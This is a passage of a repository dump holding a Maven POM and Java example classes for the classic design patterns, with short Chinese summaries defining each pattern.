    "content": "<?xml version=\"1.0\"?>\n<project\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"\n\txmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_designpattern</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>3.8.1</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<!-- 目标数据库，这里采用mysql -->\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<version>5.1.40</version>\n\t\t</dependency>\n\t</dependencies>\n\n\t<build>\n\t\t<finalName>jun_designpattern</finalName>\n\t\t<plugins>\n\n\t\t\t<plugin>\n\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\n\t\t\t\t<artifactId>maven-war-plugin</artifactId>\n\n\t\t\t\t<version>2.6</version>\n\n\t\t\t\t<configuration>\n\n\t\t\t\t\t<failOnMissingWebXml>false</failOnMissingWebXml>\n\n\t\t\t\t</configuration>\n\n\t\t\t</plugin>\n\n\t\t</plugins>\n\n\t</build>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/abstractfactory/AMDCpu.java",
    "content": "package abstractfactory;\n\npublic class AMDCpu implements CpuApi {\n\tprivate int pins;\n\t\n\tpublic AMDCpu(int pins) {\n\t\tthis.pins = pins;\n\t}\n\n\tpublic void calculate() {\n\t\tSystem.out.println(\"calculate from AMDCpu! pins = \" + pins);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/abstractfactory/AMDMainBoard.java",
    "content": "package abstractfactory;\n\npublic class AMDMainBoard implements MainBoardApi {\n\tprivate int pinHoles;\n\t\n\tpublic AMDMainBoard(int pinHoles) {\n\t\tthis.pinHoles = pinHoles;\n\t}\n\n\t@Override\n\tpublic void installCpu() {\n\t\tSystem.out.println(\"install AMDMainBoard! pinHoles = \" + pinHoles);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/abstractfactory/AbstractFactory.java",
    "content": "package abstractfactory;\n\npublic interface AbstractFactory {\n\tCpuApi createCpu();\n\tMainBoardApi createMainBoard();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/abstractfactory/ComputerEngineer.java",
    "content": "package abstractfactory;\n\npublic class ComputerEngineer {\n\tprivate CpuApi cpu;\n\t\n\tprivate MainBoardApi mainBoard;\n\t\n\tpublic void makeComputer(AbstractFactory scheme) {\n\t\tprepareHardware(scheme);\n\t}\n\n\tprivate void prepareHardware(AbstractFactory scheme) {\n\t\tcpu = scheme.createCpu();\n\t\tmainBoard = scheme.createMainBoard();\n\t\t\n\t\tcpu.calculate();\n\t\tmainBoard.installCpu();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/abstractfactory/CpuApi.java",
    "content": "package abstractfactory;\n\npublic interface CpuApi {\n\tvoid calculate();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/abstractfactory/InterCpu.java",
    "content": "package abstractfactory;\n\npublic class InterCpu implements CpuApi {\n\tprivate int pins;\n\t\n\tpublic InterCpu(int pins) {\n\t\tthis.pins = pins;\n\t}\n\n\t@Override\n\tpublic void calculate() {\n\t\tSystem.out.println(\"calculate from InterCpu! pins = \" + pins);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/abstractfactory/InterMainBoard.java",
    "content": "package abstractfactory;\n\npublic class InterMainBoard implements MainBoardApi {\n\tprivate int pinHoles;\n\t\n\tpublic InterMainBoard(int pinHoles) {\n\t\tthis.pinHoles = pinHoles;\n\t}\n\n\t@Override\n\tpublic void installCpu() {\n\t\tSystem.out.println(\"install InterMainBoard! pinHoles = \" + pinHoles);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/abstractfactory/MainBoardApi.java",
    "content": "package abstractfactory;\n\npublic interface MainBoardApi {\n\tvoid installCpu();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/abstractfactory/SchemeAMD.java",
    "content": "package abstractfactory;\n\npublic class SchemeAMD implements AbstractFactory {\n\n\t@Override\n\tpublic CpuApi createCpu() {\n\t\treturn new InterCpu(939);\n\t}\n\n\t@Override\n\tpublic MainBoardApi createMainBoard() {\n\t\treturn new InterMainBoard(939);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/abstractfactory/SchemeInter.java",
    "content": "package abstractfactory;\n\npublic class SchemeInter implements AbstractFactory {\n\n\t@Override\n\tpublic CpuApi createCpu() {\n\t\treturn new InterCpu(1156);\n\t}\n\n\t@Override\n\tpublic MainBoardApi createMainBoard() {\n\t\treturn new InterMainBoard(1156);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/abstractfactory/TestAbstractFactory.java",
    "content": "package abstractfactory;\n\npublic class TestAbstractFactory {\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\tAbstractFactory scheme = new SchemeAMD();\n\t\tAbstractFactory scheme2 = new SchemeInter();\n\t\t\n\t\tComputerEngineer engineer = new ComputerEngineer();\n\t\tengineer.makeComputer(scheme);\n\t\tengineer.makeComputer(scheme2);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/abstractfactory/summary.txt",
    "content": "抽象工厂模式的定义：提供一个创建一系列相关或相互依赖对象的接口，而无需指定他们具体的类。\n外观模式的本质：选择产品簇的实现。"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/adapter/Adaptee.java",
    "content": "package adapter;\n\npublic interface Adaptee {\n\tvoid specialTest();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/adapter/AdapteeImp.java",
    "content": "package adapter;\n\npublic class AdapteeImp implements Adaptee {\n\n\t@Override\n\tpublic void specialTest() {\n\t\tSystem.out.println(\"this is a special test, need be adapted!\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/adapter/Adapter.java",
    "content": "package adapter;\n\npublic class Adapter implements Target {\n\tprivate Adaptee adaptee;\n\n\tpublic Adapter(Adaptee adaptee) {\n\t\tthis.adaptee = adaptee;\n\t}\n\t\n\tpublic void test() {\n\t\tadaptee.specialTest();\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/adapter/DoubleSidedAdapter.java",
    "content": "package adapter;\n\npublic class DoubleSidedAdapter implements Target, Adaptee {\n\t\n\tprivate Target target;\n\tprivate Adaptee adaptee;\n\t\n\tpublic DoubleSidedAdapter(Target target, Adaptee adaptee) {\n\t\tthis.target = target;\n\t\tthis.adaptee = adaptee;\n\t}\n\n\tpublic void specialTest() {\n\t\ttarget.test();\n\t\tSystem.out.println(\"**********************it's a DoubleSidedAdapter from target, specialTest!\");\n\t}\n\n\tpublic void test() {\n\t\tadaptee.specialTest();\n\t\tSystem.out.println(\"**********************it's a DoubleSidedAdapter from adaptee, test()!\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/adapter/Target.java",
    "content": "package adapter;\n\npublic interface Target {\n\tvoid test();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/adapter/TargetImp.java",
    "content": "package adapter;\n\npublic class TargetImp implements Target {\n\n\tpublic void test() {\n\t\tSystem.out.println(\"this is a common test!\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/adapter/TestAdapter.java",
    "content": "package adapter;\n\npublic class TestAdapter {\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\tTarget target = new TargetImp();\n\t\tTarget target2 = new Adapter(new AdapteeImp());\n\t\ttarget.test();\n\t\ttarget2.test();\n\t\t\n\t\tSystem.out.println(\"-----------双向适配器------------\");\n\t\t\n\t\tTarget target3 = new TargetImp();\n\t\tAdaptee adaptee = new AdapteeImp();\n\t\tTarget target4 = new DoubleSidedAdapter(target3, adaptee);\n\t\tAdaptee adaptee2 = new DoubleSidedAdapter(target3, adaptee);\n\t\t\n\t\ttarget4.test();\n\t\tadaptee2.specialTest();\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/adapter/summary.txt",
    "content": "适配器模式的定义：将一个类的接口转换成客户希望那个的另一个接口。适配器模式使得原本由于接口不能兼容而不能一起工作的那些类可以一起工作了。\n\t\t\t       适配器有两种实现，对象实现和类实现，尽量使用对象实现。\n适配器模式的本质：转换匹配，复用功能。"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/bridge/Abstraction.java",
    "content": "package bridge;\n\npublic abstract class Abstraction {\n\tprotected Implementor implementor;\n\t\n\tpublic Abstraction(Implementor implementor) {\n\t\tthis.implementor = implementor;\n\t}\n\t\n\tpublic void operation() {\n\t\timplementor.operationImpl();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/bridge/ConcreteImplementorA.java",
    "content": "package bridge;\n\npublic class ConcreteImplementorA implements Implementor {\n\n\tpublic void operationImpl() {\n\t\t// TODO Auto-generated method stub\n\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/bridge/ConcreteImplementorB.java",
    "content": "package bridge;\n\npublic class ConcreteImplementorB implements Implementor {\n\n\tpublic void operationImpl() {\n\t\t// TODO Auto-generated method stub\n\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/bridge/Implementor.java",
    "content": "package bridge;\n\npublic interface Implementor {\n\tvoid operationImpl();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/bridge/RefinedAbstraction.java",
    "content": "package bridge;\n\n/**\n * 扩充由Abstraction定义的接口功能\n */\npublic class RefinedAbstraction extends Abstraction {\n\tpublic RefinedAbstraction(Implementor impl) {\n\t\tsuper(impl);\n\t}\n\n\t/**\n\t * 示例操作，实现一定的功能\n\t */\n\tpublic void otherOperation() {\n\t\t// 实现一定的功能，可能会使用具体实现部分的实现方法，\n\t\t// 但是本方法更大的可能是使用Abstraction中定义的方法，\n\t\t// 通过组合使用Abstraction中定义的方法来完成更多的功能\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/bridge/summary.txt",
    "content": "桥接模式的定义：将抽象部分与它的实现部分分离，使他们都可以独立地变化。\n桥接模式的本质：分离抽象和实现。"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/builder/ABuilder.java",
    "content": "package builder;\n\npublic class ABuilder implements Builder {\n\tprivate Product product; \n\t\n\tpublic ABuilder() {\n\t\tproduct = new Product();\n\t}\n\n\t@Override\n\tpublic void head(String head) {\n\t\tproduct.setHead(\"a_\" + head);\n\t}\n\n\t@Override\n\tpublic void body(String body) {\n\t\tproduct.setBody(\"a_\" + body);\n\t}\n\n\t@Override\n\tpublic void foot(String foot) {\n\t\tproduct.setFoot(\"a_\" + foot);\n\t}\n\n\t@Override\n\tpublic Product getProduct() {\n\t\treturn product;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/builder/BBuilder.java",
    "content": "package builder;\n\npublic class BBuilder implements Builder {\n\tprivate Product product; \n\t\n\tpublic BBuilder() {\n\t\tproduct = new Product();\n\t}\n\n\t@Override\n\tpublic void head(String head) {\n\t\tproduct.setHead(\"b_\" + head);\n\t}\n\n\t@Override\n\tpublic void body(String body) {\n\t\tproduct.setBody(\"b_\" + body);\n\t}\n\n\t@Override\n\tpublic void foot(String foot) {\n\t\tproduct.setFoot(\"b_\" + foot);\n\t}\n\n\t@Override\n\tpublic Product getProduct() {\n\t\treturn product;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/builder/Builder.java",
    "content": "package builder;\n\npublic interface Builder {\n\tvoid head(String head);\n\tvoid body(String body);\n\tvoid foot(String foot);\n\t\n\tProduct getProduct();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/builder/Director.java",
    "content": "package builder;\n\npublic class Director {\n\tprivate Builder builder;\n\t\n\tpublic Director(Builder builder) {\n\t\tthis.builder = builder;\n\t}\n\t\n\tpublic Product assemble(String head, String body, String foot) {\n\t\tbuilder.head(head);\n\t\tbuilder.body(body);\n\t\tbuilder.foot(foot);\n\t\treturn builder.getProduct();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/builder/Product.java",
    "content": "package builder;\n\npublic class Product {\n\tprivate String head;\n\tprivate String body;\n\tprivate String foot;\n\t\n\tProduct() {\n\t}\n\t\n\tpublic String getHead() {\n\t\treturn head;\n\t}\n\tpublic void setHead(String head) {\n\t\tthis.head = head;\n\t}\n\tpublic String getBody() {\n\t\treturn body;\n\t}\n\tpublic void setBody(String body) {\n\t\tthis.body = body;\n\t}\n\tpublic String getFoot() {\n\t\treturn foot;\n\t}\n\tpublic void setFoot(String foot) {\n\t\tthis.foot = foot;\n\t}\n\t\n\t@Override\n\tpublic String toString() {\n\t\treturn head + \"-\" + body + \"-\" + foot;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/builder/TestBuilder.java",
    "content": "package builder;\n\npublic class TestBuilder {\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\tBuilder aBuilder = new ABuilder();\n\t\tBuilder bBuilder = new BBuilder();\n\t\t\n\t\tDirector director = new Director(aBuilder);\n\t\tDirector director2 = new Director(bBuilder);\n\t\t\n\t\tProduct product = director.assemble(\"jj\", \"mm\", \"gg\");\n\t\tProduct product2 = director2.assemble(\"jj\", \"mm\", \"gg\");\n\t\t\n\t\tSystem.out.println(product);\n\t\tSystem.out.println(product2);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/builder/summary.txt",
    "content": "生成器模式的定义：将一个复杂对象的构建与它的表示分离，使得同样地构建过程可以创建不同的表示。\n生成器模式的本质：分离整体构建算法和部件构造。"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/command/Client.java",
    "content": "package command;\n\npublic class Client {\n\tpublic void assemble() {\n\t\tReceiver receiver = new Receiver();\n\t\tCommand command = new ConcreteCommand(receiver);\n\t\t\n\t\tInvoker invoker = new Invoker();\n\t\tinvoker.setCommand(command);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/command/Command.java",
    "content": "package command;\n\npublic interface Command {\n\tvoid execute();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/command/ConcreteCommand.java",
    "content": "package command;\n\npublic class ConcreteCommand implements Command {\n\tprivate Receiver receiver;\n\t\n\tpublic ConcreteCommand(Receiver receiver) {\n\t\tthis.receiver = receiver;\n\t}\n\n\t@Override\n\tpublic void execute() {\n\t\treceiver.action();\n\t\tSystem.out.println(\"ConcreteCommand执行\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/command/Invoker.java",
    "content": "package command;\n\npublic class Invoker {\n\tprivate Command command;\n\n\tpublic Command getCommand() {\n\t\treturn command;\n\t}\n\n\tpublic void setCommand(Command command) {\n\t\tthis.command = command;\n\t}\n\n\tpublic void runCommand() {\n\t\tcommand.execute();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/command/Receiver.java",
    "content": "package command;\n\npublic class Receiver {\n\tpublic void action() {\n\t\tSystem.out.println(\"action___________--------\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/command/summary.txt",
    "content": "命令模式的定义：将一个请求封装为一个对象，从而使你可用不同的请求对客户进行参数化；对请求排队或记录请求日志，以及支持可撤销的操作。\n命令模式的本质：封装请求。"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/composite/Component.java",
    "content": "package composite;\n\nimport java.util.List;\n\npublic abstract class Component {\n\t/**\n\t * 记录父组件对象\n\t */\n\tprivate Component parent = null;\n\t\n\tpublic Component getParent() {\n\t\treturn parent;\n\t}\n\n\tpublic void setParent(Component parent) {\n\t\tthis.parent = parent;\n\t}\n\t\n\t/**\n\t * 返回组件的子对象\n\t * @return\n\t */\n\tpublic List<Component> getChildren() {\n\t\tthrow new UnsupportedOperationException(\"对象不支持这个功能！\");\n\t}\n\t\n\t/**\n\t * 示意方法，子组件对象可能有的功能方法\n\t */\n\tpublic abstract void someOperation();\n\t\n\t/**\n\t * 向组合中添加组件对象\n\t * @param child\n\t */\n\tpublic void addChildren(Component child) {\n\t\t//缺省的实现，抛出列外，因为叶子对象没有这个功能\n\t\t//或者子组件没有实现这个功能\n\t\tthrow new UnsupportedOperationException(\"对象不支持这个功能！\");\n\t}\n\t\n\tpublic void removeChildren(Component child) {\n\t\tthrow new UnsupportedOperationException(\"对象不支持这个功能！\");\n\t}\n\t\n\tpublic Component getChildren(int index) {\n\t\tthrow new UnsupportedOperationException(\"对象不支持这个功能！\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/composite/Composite.java",
    "content": "package composite;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class Composite extends Component {\n\n\t/**\n\t * 用来存储组合对象包含的子组件对象\n\t */\n\tprivate List<Component> childComponents = null;\n\t\n\t@Override\n\tpublic void someOperation() {\n\t\tif (childComponents != null) {\n\t\t\tfor (Component component : childComponents) {\n\t\t\t\tcomponent.someOperation();\n\t\t\t}\n\t\t}\n\t}\n\n\t@Override\n\tpublic void addChildren(Component child) {\n\t\tif (childComponents == null) {\n\t\t\tchildComponents = new ArrayList<Component>();\n\t\t}\n\t\tchildComponents.add(child);\n\t\t\n\t\t//添加父组件的引用\n\t\tchild.setParent(this);\n\t}\n\n\t@Override\n\tpublic void removeChildren(Component child) {\n\t\tif (childComponents != null) {\n\t\t\tint idx = childComponents.indexOf(child);\n\t\t\tif (idx != -1) {\n\t\t\t\tfor (Component component : child.getChildren()) {\n\t\t\t\t\t//删除的组件对象是本实例的一个子组件对象\n\t\t\t\t\tcomponent.setParent(this);\n\t\t\t\t\t//把被删除的商品类别对象的子组件对象添加到当前实例中\n\t\t\t\t\tchildComponents.add(component);\n\t\t\t\t}\n\t\t\t}\n\t\t\tchildComponents.remove(child);\n\t\t}\n\t}\n\n\t@Override\n\tpublic Component getChildren(int index) {\n\t\tif (childComponents != null) {\n\t\t\tif (index >= 0 && index < childComponents.size()) {\n\t\t\t\treturn childComponents.get(index);\n\t\t\t}\n\t\t}\n\t\treturn null;\n\t}\n\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/composite/Leaf.java",
    "content": "package composite;\n\npublic class Leaf extends Component {\n\n\t@Override\n\tpublic void someOperation() {\n\t\t//do something\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/composite/summary.txt",
    "content": "组合模式的定义：将对象组合成树形结构以表示“部分-整体”的层次结构。组合模式使得用户对单个对象和组合对象的使用具有一致性。\n组合模式的本质：统一叶子对象和组合对象。"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/decorator/Component.java",
    "content": "package decorator;\n\npublic abstract class Component {\n\tpublic abstract void operation();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/decorator/ConcreteComponentA.java",
    "content": "package decorator;\n\npublic class ConcreteComponentA extends Component {\n\n\t@Override\n\tpublic void operation() {\n\t\tSystem.out.println(\"from ConcreteComponentA info!\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/decorator/ConcreteDecoratorA.java",
    "content": "package decorator;\n\npublic class ConcreteDecoratorA extends Decorator {\n\tpublic ConcreteDecoratorA(Component component) {\n\t\tsuper(component);\n\t}\n\n\t@Override\n\tpublic void operation() {\n\t\tsuper.operation();\n\t\tSystem.out.println(\"这个是装饰者添加的功能。addedState=\" + this.getAddedState());\n\t}\n\t\n}"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/decorator/Decorator.java",
    "content": "package decorator;\n\npublic abstract class Decorator extends Component {\n\n\tprivate String addedState;\n\t\n\tpublic String getAddedState() {\n\t\treturn addedState;\n\t}\n\n\tpublic void setAddedState(String addedState) {\n\t\tthis.addedState = addedState;\n\t}\n\t\n\tprotected Component component;\n\t\n\tpublic Decorator(Component component) {\n\t\tthis.component = component;\n\t}\n\n\t@Override\n\tpublic void operation() {\n\t\tcomponent.operation();\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/decorator/Test.java",
    "content": "/**\n * <pre>\n * Copyright:\t\tCopyright(C) 2011-2012, ketayao.com\n * Filename:\t\tdecorator.Test.java\n * Class:\t\t\tTest\n * Date:\t\t\t2012-5-7\n * Author:\t\t\t<a href=\"mailto:ketayao@gmail.com\">ketayao</a>\n * Version          1.1.0\n * Description:\t\t\n *\n * </pre>\n **/\n \npackage decorator;\n\n/** \n * \t\n * @author Wujun\n * Version  1.1.0\n * @since   2012-5-7 上午10:38:48 \n */\n\npublic class Test {\n\n\t/**  \n\t * 描述\n\t * @param args  \n\t */\n\tpublic static void main(String[] args) {\n\t\tDecorator decorator = new ConcreteDecoratorA(new ConcreteComponentA());\n\t\tdecorator.setAddedState(\"我是新增功能！\");\n\t\tdecorator.operation();\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/decorator/summary.txt",
    "content": "装饰模式的定义：动态地给一个对象添加一些额外的职责。就增加功能来说，装饰模式比生成子类更为灵活。\n组合模式的本质：统一叶子对象和组合对象。"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/facade/AsusMainBoard.java",
    "content": "package facade;\n\npublic class AsusMainBoard implements MainBoardApi {\n\n\tpublic void assemble() {\n\t\tSystem.out.println(\"this is a asus mainboard!\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/facade/CpuApi.java",
    "content": "package facade;\n\npublic interface CpuApi {\n\tvoid assemble();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/facade/Facade.java",
    "content": "package facade;\n\npublic class Facade {\n\t\n\tprivate Facade() {\n\t\t\n\t}\n\t\n\tpublic static void assemble() {\n\t\tnew InterCpu().assemble();\n\t\tnew AsusMainBoard().assemble();\n\t\tnew SamsungMemory().assemble();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/facade/InterCpu.java",
    "content": "package facade;\n\npublic class InterCpu implements CpuApi {\n\n\tpublic void assemble() {\n\t\tSystem.out.println(\"this is a inter cup!\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/facade/MainBoardApi.java",
    "content": "package facade;\n\npublic interface MainBoardApi {\n\tvoid assemble();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/facade/MemoryApi.java",
    "content": "package facade;\n\npublic interface MemoryApi {\n\tvoid assemble();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/facade/SamsungMemory.java",
    "content": "package facade;\n\npublic class SamsungMemory implements MemoryApi {\n\tpublic void assemble() {\n\t\tSystem.out.println(\"this is a sumsung memory!\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/facade/TestFacade.java",
    "content": "package facade;\n\npublic class TestFacade {\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\tFacade.assemble();\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/facade/summary.txt",
    "content": "外观模式的定义：为子系统的一组接口提供一个一致的界面，Facade模式定义了一个高层接口（外部和内部的交互通道，并非一定是接口），\n\t\t\t    这个接口使得这一子系统更加容易的使用了。\n\t\t\t    外观模式包装已有的功能，并非添加新的功能。\n外观实现成为interface的附带好处：接口定义可以分为两部分，一部分给子系统外部使用，一部分给系统间的模块互相调用。\n外观模式的本质：封装交互，简化调用。"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/factorymethod/ConcreteCreator.java",
    "content": "package factorymethod;\n\npublic class ConcreteCreator extends Creator {\n\n\t@Override\n\tprotected Product factoryMethod() {\n\t\treturn new ProductA();\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/factorymethod/Creator.java",
    "content": "package factorymethod;\n\npublic abstract class Creator {\n\tprotected abstract Product factoryMethod();\n\t\n\tpublic void test() {\n\t\tProduct product = factoryMethod();\n\t\tproduct.operate();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/factorymethod/Product.java",
    "content": "package factorymethod;\n\npublic interface Product {\n\tvoid operate();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/factorymethod/ProductA.java",
    "content": "package factorymethod;\n\npublic class ProductA implements Product {\n\n\tpublic void operate() {\n\t\tSystem.out.println(\"this is a A Product!\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/factorymethod/ProductB.java",
    "content": "package factorymethod;\n\npublic class ProductB implements Product {\n\n\tpublic void operate() {\n\t\tSystem.out.println(\"this is a B Product!\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/factorymethod/TestFactoryMethod.java",
    "content": "package factorymethod;\n\npublic class TestFactoryMethod {\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\tCreator creator = new ConcreteCreator();\n\t\tcreator.test();\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/factorymethod/summary.txt",
    "content": "工厂方法模式的定义：定义一个用于创建对象的接口，让子类决定实例化哪一个类，Factory Method使一个类的实例化延迟到子类。\n工厂方法模式的本质：延迟到子类来选择实现。"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/flyweight/ConcreteFlyweight.java",
    "content": "package flyweight;\n\npublic class ConcreteFlyweight implements Flyweight {\n\t\n\t/**\n\t */\n\tprivate String intrinsicState;\n\t\n\tpublic ConcreteFlyweight(String state) {\n\t\tthis.intrinsicState = state;\n\t}\n\n\t@Override\n\tpublic void operation(String extrinsicState) {\n\t\t// TODO Auto-generated method stub\n\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/flyweight/FlyeightFactory.java",
    "content": "package flyweight;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class FlyeightFactory {\n\tprivate Map<String, Flyweight> fsMap = new HashMap<String, Flyweight>();\n\t\n\tpublic Flyweight getFlyweight(String key) {\n\t\tFlyweight f = fsMap.get(key);\n\t\t\n\t\tif (f == null) {\n\t\t\tf = new ConcreteFlyweight(key);\n\t\t\t\n\t\t\tfsMap.put(key, f);\n\t\t}\n\t\treturn f;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/flyweight/Flyweight.java",
    "content": "package flyweight;\n\npublic interface Flyweight {\n\t/**\n\t */\n\tvoid operation(String extrinsicState);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/flyweight/UnsharedConcreteFlyweight.java",
    "content": "package flyweight;\n\npublic class UnsharedConcreteFlyweight implements Flyweight {\n\t/**\n\t */\n\tprivate String allState;\n\n\t@Override\n\tpublic void operation(String extrinsicState) {\n\t\t// TODO Auto-generated method stub\n\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/flyweight/summary.txt",
    "content": "享元模式的定义：运用共享技术有效地支持大量的细粒度的对象。\n享元法模式的本质：延迟到子类来选择实现。"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/interpreter/AbstractExpression.java",
    "content": "package interpreter;\n\npublic abstract class AbstractExpression {\n\tpublic abstract void interpret(Context context);\n\t\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/interpreter/Context.java",
    "content": "package interpreter;\n\npublic class Context {\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/interpreter/NonterminalExpression.java",
    "content": "package interpreter;\n\npublic class NonterminalExpression extends AbstractExpression {\n\n\t@Override\n\tpublic void interpret(Context context) {\n\t\t// TODO Auto-generated method stub\n\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/interpreter/TerminalExpression.java",
    "content": "package interpreter;\n\npublic class TerminalExpression extends AbstractExpression {\n\n\t@Override\n\tpublic void interpret(Context context) {\n\t\t// TODO Auto-generated method stub\n\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/interpreter/summary.txt",
    "content": "解释器模式的定义：给定一个语言，定义它的文法的一种表示，并定义一个解释器，这个解释器使用该表示来解释语言中的句子。\n解释器模式的本质：延迟到子类来选择实现。"
  },
  {
